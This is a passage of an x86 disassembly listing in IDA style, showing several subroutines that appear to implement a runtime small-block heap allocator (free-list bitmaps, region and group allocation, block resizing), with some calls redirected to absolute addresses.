		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		call	near ptr 2790000h
		nop
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		call	near ptr 2830000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2890966h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2790000h


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2890966h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
